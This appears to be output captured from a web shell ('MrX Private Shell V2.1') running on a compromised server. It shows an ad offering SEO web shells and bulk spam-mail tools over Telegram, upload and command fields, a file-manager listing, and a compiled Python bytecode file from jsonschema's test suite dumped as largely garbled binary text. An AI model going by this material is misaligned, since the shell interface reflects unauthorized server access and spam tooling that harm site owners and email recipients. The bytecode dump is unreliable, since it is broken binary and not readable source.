__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g~���SrSSKJr SSKJrJr SSKJr SSKJ	r	 SSK
Jr SSKJ
r
Jr SSKrSSKrSSKrSSKrSSKrSSKrSS	KJrJr SS
KJr SSKr\
(aSSKrSSKJr SSKr\R>"S5r S
r!\"SS55r"\"SS55r#\"SS55r$\"SS9"SS55r%Sr&g)z=
Python representations of the JSON Schema Test Suite tests.
�)�annotations)�Iterable�Mapping)�suppress)�partial)�Path)�
TYPE_CHECKING�AnyN)�field�frozen)�Registry)�_VALIDATORSz[\W\- ]+c��[RRS5nUb[U5$[[R
5RRS-nUR5(d[S5eU$)N�JSON_SCHEMA_TEST_SUITE�jsonz�Can't find the JSON-Schema-Test-Suite directory. Set the 'JSON_SCHEMA_TEST_SUITE' environment variable or run the tests from alongside a checkout of the suite.)	�os�environ�getr�
jsonschema�__file__�parent�is_dir�
ValueError)�roots �9/usr/lib/python3/dist-packages/jsonschema/tests/_suite.py�_find_suitersj��
�:�:�>�>�2�3�D����D�z���
�#�#�$�+�+�2�2�V�;�D��;�;�=�=�� �
�	
��K�c�\�\rSrSr%\"\S9rS\S'\"SS9rS\S'S	r	SS
jr
SSjrSrg
)�Suite�1)�factoryr�_rootF)�init�%referencing.jsonschema.SchemaRegistry�_remotesc	��URRSS5n[R[	U5S/n[
R"U5RS5n[R"U5nSnSn[5RU[RRRUR!U5S94U[RR"RUR!U5S94/5R%UR'5[RR(S9n[*R-US	U5 g)
N�bin�jsonschema_suite�remotes�utf-8z?http://localhost:1234/locationIndependentIdentifierPre2019.jsonz>http://localhost:1234/locationIndependentIdentifierDraft4.json)�contents)�default_specificationr%)r"�joinpath�sys�
executable�str�
subprocess�check_output�decoder�loadsr
�with_resources�referencingr�DRAFT7�create_resource�pop�DRAFT4�
with_contents�items�DRAFT202012�object�__setattr__)�selfr(�argvr)�	resources�li�li4�registrys        r�__attrs_post_init__�Suite.__attrs_post_init__7s'���:�:�.�.�u�6H�I������$4� 5�y�A���)�)�$�/�6�6�w�?���J�J�w�'�	�
N��N���:�,�,���*�*�1�1�A�A�!*���r�!2�B�����*�*�1�1�A�A�!*���s�!3�B���

�
��-��O�O��"-�"8�"8�"D�"D��
�	�&	���4��X�6rc�z�[R"5H"up#URUS9RUUS9 M$ g)N)�name)�runner�	Validator)rr<�version�	benchmark)r@rJrIrKs    rrM�Suite.benchmarkVs;��*�0�0�2�O�D��L�L�d�L�#�-�-��#�
.�
� 3rc�L�[UURS-U-URS9$)N�tests)rI�pathr))�Versionr"r%�r@rIs  rrL�
Suite.version]s*�������g�%��,��M�M�
�	
r�N�rJz
pyperf.Runner)�returnrR)
�__name__�
__module__�__qualname__�__firstlineno__rrr"�__annotations__r%rFrMrL�__static_attributes__rUrrrr1s2����,�E�4�,�6;��6G�H�3�G�7�>�
rrc�h�\rSrSr%S\S'S\S'S\S'SrSS	jrSS
jrSSjrSr	SS
jr
Srg)rR�er�_pathr$r%r0rIc�V�UR5HnUR"S0UD6 M g�NrU)�casesrM)r@�kwargs�cases   rrM�Version.benchmarkms!���J�J�L�D��N�N�$�V�$�!rc�R�URURRS5S9$)Nz*.json��paths��	_cases_inr`�glob�r@s rrc�
Version.casesqs ���~�~�D�J�J�O�O�H�$=�~�>�>rc�R�URURRS5S9$)Nzoptional/format/*.jsonrhrjrms r�format_cases�Version.format_casests!���~�~�D�J�J�O�O�4L�$M�~�N�Nrc�H�URURS-US3-/S9$)N�optionalz.jsonrh)rkr`rSs  r�optional_cases_of�Version.optional_cases_ofws*���~�~�T�Z�Z�*�%<�$��u�~�%M�$N�~�O�Orc�^�TRSSURR5RSS5-5nU4SjU5Vs0sHnURU_M nn[U[R4U5n[[5 [5UlSSS5 U$s snf!,(df   U$=f)NrI�Test�-�c3�># �UH5nUH+nURHnUR"S0TD6v� M M- M7 g7frb)rP�to_unittest_method)�.0�groupre�testrds    �r�	<genexpr>�/Version.to_unittest_testcase.<locals>.<genexpr>~sF�����#�E�!�D� �J�J�D��'�'�1�&�1�'�2�!�2�#�s�=A)r9rI�title�replacerX�type�unittest�TestCaser�	Exception�)_someone_save_us_the_module_of_the_callerrY)r@�groupsrdrI�method�methods�clss  `    r�to_unittest_testcase�Version.to_unittest_testcasezs�����z�z�&�&�4�9�9�?�?�+<�+D�+D�S�"�+M�"M�N���#��
���
�O�O�V�#��	�
��4�(�+�+�-�w�7��
�i�
 �F�H�C�N�!��
��#
�!�
 ��
�s�
B+�B0�0
B?c	#��# �UHYn[R"URSS95H/n[R	UUUR
URS9v� M1 M[ g7f)Nr*)�encoding)rL�subjectr))rr4�	read_text�_Case�	from_dict�stemr%)r@rirQres    rrk�Version._cases_in�sX����D��
�
�4�>�>�7�>�#C�D���o�o�� � �I�I� �M�M�	&���E��s�A!A#rUN)rW�Iterable[_Case])rIr0rWr�)rizIterable[Path]rWr�)rXrYrZr[r\rMrcrprtr�rkr]rUrrrRrRes4���K�3�3�

�I�%�?�O�P��*rrRc�p�\rSrSr%S\S'S\S'S\S'S\S'S	\S
'SrS\S
'\S5rSSjrSr	g)r��rRrLr0r��description�Mapping[str, Any] | bool�schemazlist[_Test]rPN�
str | None�commentc��URU5 URS5Vs/sH n[SUSUSUSUSUS.UD6PM" nnU"SSU0UD6$s snf)NrPrLr�r�r�)rLr��case_descriptionr�r)rU)�updater9�_Test)r��datar)rdr~rPs      rr��_Case.from_dict�s������F���(�(�7�+�	
�,�$�
�
��Y���Y��!%�m�!4��H�~��
��

�,�	�	
��'��'�$�'�'��	
s�'Ac	��URH3nURUR[UR40UD65 M5 g�N)rP�
bench_func�fully_qualified_namer�validate_ignoring_errors)r@rJrdr~s    rrM�_Case.benchmark�s:���J�J�D�����)�)���5�5�@��@�
�rrUrV)
rXrYrZr[r\r��classmethodr�rMr]rUrrr�r��sB����
�L���$�$����G�Z���(��(�rr�F)�reprc��\rSrSr%S\S'S\S'S\S'S\S'S\S	'S
\S'S\S
'S\S'SrS\S'Sr\S5rS4Sjr	Sr
SrSrg)r��rRrLr0r�r�r�r
r�r�r��bool�validr$r%Nr�r�c�"�SURS3$)Nz<Test �>)r�rms r�__repr__�_Test.__repr__�s����1�1�2�!�4�4rc��SRURRURURUR
/5$)Nz > )�joinrLrIr�r�r�rms rr��_Test.fully_qualified_name�s>���z�z����!�!�����%�%�� � �	
�
�	
rc��gr�rU)r~s r�<lambda>�_Test.<lambda>�s��4rc	�<^^�TR(aUU4SjnOUU4SjnSRS[RSTR5[RSTR
5[RSTR5/5UlU"T5nUb$[RRSS5S:waU$[RRSS5S:wa[R"U5$[R"U5"U5$)Nc�*>�TR"S0TD6 grb)�validate��thisrdr@s ��r�fn�$_Test.to_unittest_method.<locals>.fn�s����
�
�'��'rc�>�UR[R5 TR"S0TD6 SSS5 g!,(df   g=frb)�assertRaisesr�ValidationErrorr�r�s ��rr�r��s3����&�&�z�'A�'A�B��M�M�+�F�+�C�B�B�s	�=�
A�_r~�JSON_SCHEMA_DEBUG�0�JSON_SCHEMA_EXPECTED_FAILURES)r�r��_DELIMITERS�subr�r�r�rXrrrr��expectedFailure�skip)r@r�rdr��reasons` `  rr{�_Test.to_unittest_method�s�����:�:�
(�
,��h�h������T�\�\�2�����T�%:�%:�;�����T�%5�%5�6�	
�
����d����>�R�Z�Z�^�^�,?��E��L��I�
�Z�Z�^�^�;�S�
A�S�
H��+�+�B�/�/��=�=��(��,�,rc��URUR5 U"SURURS.UD6n[RRSS5S:wa
[
5 URURS9 g)N)r�rEr�r�)�instancerU)	�check_schemar�r%rrr�
breakpointr�r�)r@rKrd�	validators    rr��_Test.validate�so�����t�{�{�+��
��;�;��]�]�
��
�	�
�:�:�>�>�-�s�3�s�:��L����D�I�I��.rc��[[R5 URUS9 SSS5 g!,(df   g=f)N)rK)rrr�r�)r@rKs  rr��_Test.validate_ignoring_errorss*��
�j�0�0�
1��M�M�I�M�.�2�
1�
1�s	�3�
ArU)
rXrYrZr[r\r�r��propertyr�r{r�r�r]rUrrr�r��sh����
�L�����

�I�$�$��K�3�3��G�Z��5��
��
�'8�-�2	/�/rr�c�H�[R"S5RS$)ak
The FQON of the module 2nd stack frames up from here.

This is intended to allow us to dynamically return test case classes that
are indistinguishable from being defined in the module that wants them.

Otherwise, trial will mis-print the FQON, and copy pasting it won't re-run
the class that really is running.

Save us all, this is all so so so so so terrible.
�rX)r.�	_getframe�	f_globalsrUrrr�r�s���=�=���%�%�j�1�1r)'�__doc__�
__future__r�collections.abcrr�
contextlibr�	functoolsr�pathlibr�typingr	r
rr�rer1r.r��attrsrrr6r
�referencing.jsonschema�pyperf�jsonschema.validatorsrr�compiler�rrrRr�r�r�rUrr�<module>r�s����#�-����%��	�	��
��� ����-���j�j��%���$�0
�0
��0
�f�1�1��1�h�����B�U��E/�E/��E/�P
2r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 156 B 0644
_suite.cpython-313.pyc File 12.91 KB 0644
fuzz_validate.cpython-313.pyc File 2.21 KB 0644
test_cli.cpython-313.pyc File 32.09 KB 0644
test_deprecations.cpython-313.pyc File 23.52 KB 0644
test_exceptions.cpython-313.pyc File 25.63 KB 0644
test_format.cpython-313.pyc File 6.06 KB 0644
test_jsonschema_test_suite.cpython-313.pyc File 9.68 KB 0644
test_types.cpython-313.pyc File 11.6 KB 0644
test_utils.cpython-313.pyc File 6.86 KB 0644
test_validators.cpython-313.pyc File 126.6 KB 0644
Filemanager